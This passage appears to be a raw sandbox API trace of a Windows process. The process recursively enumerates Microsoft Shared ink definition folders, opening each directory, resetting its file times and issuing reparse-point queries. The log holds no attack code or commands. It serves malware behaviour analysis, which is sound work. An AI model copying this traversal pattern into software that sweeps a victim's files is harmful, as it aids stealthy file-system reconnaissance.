Size=0x100) returned 0x9e3b60 [0047.031] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.031] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7e6a73, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f7e6a73, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7e6a73, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbase.xml", cAlternateFileName="")) returned 0 [0047.031] GetLastError () returned 0x12 [0047.031] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9080 [0047.031] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0047.031] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.031] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7e6a73, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f7e6a73, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7e6a73, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbase.xml", cAlternateFileName="")) returned 1 [0047.031] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7e6a73, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f7e6a73, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7e6a73, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbase.xml", cAlternateFileName="")) returned 0 [0047.031] GetLastError () returned 0x12 [0047.031] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e23b8) returned 1 [0047.031] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0047.031] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e22b0) returned 1 [0047.031] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e21a8) returned 1 [0047.031] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f79a7b7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f79a7b7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7c0915, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbers.xml", cAlternateFileName="")) returned 1 [0047.031] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu", cAlternateFileName="")) returned 1 [0047.031] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e21a8 [0047.031] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0047.034] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0047.035] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0047.035] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9e5620 [0047.035] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e5620, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x9e5620, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0047.035] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e5620) returned 1 [0047.035] NtClose (Handle=0x164) returned 0x0 [0047.035] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e21a8) returned 1 [0047.035] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.035] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0047.035] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e21a8 [0047.035] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.035] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e22b0 [0047.035] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9080 [0047.035] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.035] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f832d2f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f832d2f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f858e8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 1 [0047.035] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.035] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.035] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.035] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.036] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.036] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e23b8 [0047.036] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0047.036] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e0ca8 [0047.036] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e3c68 [0047.036] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.036] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f832d2f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f832d2f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f858e8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 0 [0047.036] GetLastError () returned 0x12 [0047.036] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9100 [0047.036] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0047.036] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.036] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f832d2f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f832d2f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f858e8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 1 [0047.036] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f832d2f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f832d2f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f858e8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 0 [0047.036] GetLastError () returned 0x12 [0047.036] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e22b0) returned 1 [0047.036] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0047.036] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e23b8) returned 1 [0047.036] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e21a8) returned 1 [0047.036] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f80cbd1, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f80cbd1, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f832d2f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu.xml", cAlternateFileName="")) returned 1 [0047.036] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpad", cAlternateFileName="")) returned 1 [0047.036] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e21a8 [0047.036] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0047.037] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0047.037] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0047.037] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9e5620 [0047.037] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e5620, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x9e5620, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0047.037] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e5620) returned 1 [0047.037] NtClose (Handle=0x16c) returned 0x0 [0047.037] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e21a8) returned 1 [0047.037] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.037] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0047.037] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e21a8 [0047.037] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.037] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e23b8 [0047.037] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9100 [0047.037] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.037] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdda123, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdda123, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdda123, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 1 [0047.037] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.038] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.038] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.038] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.038] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.038] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e22b0 [0047.038] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0047.038] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e0cc8 [0047.038] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e3d70 [0047.038] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.038] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdda123, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdda123, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdda123, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 0 [0047.038] GetLastError () returned 0x12 [0047.038] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9080 [0047.038] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0047.038] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.038] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdda123, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdda123, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdda123, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 1 [0047.038] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdda123, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdda123, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdda123, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 0 [0047.038] GetLastError () returned 0x12 [0047.038] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e23b8) returned 1 [0047.038] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0047.039] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e22b0) returned 1 [0047.039] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e21a8) returned 1 [0047.039] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdb3fc5, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdb3fc5, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdb3fc5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpad.xml", cAlternateFileName="")) returned 1 [0047.039] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpred", cAlternateFileName="")) returned 1 [0047.039] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e21a8 [0047.039] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0047.039] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0047.039] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0047.039] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9e5620 [0047.039] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e5620, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x9e5620, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0047.039] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e5620) returned 1 [0047.039] NtClose (Handle=0x164) returned 0x0 [0047.039] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e21a8) returned 1 [0047.039] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.039] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0047.039] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e21a8 [0047.039] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.040] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e22b0 [0047.040] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9080 [0047.040] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.040] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe263df, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe263df, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe263df, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 1 [0047.040] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.040] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0047.040] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0047.040] RtlFreeHeap 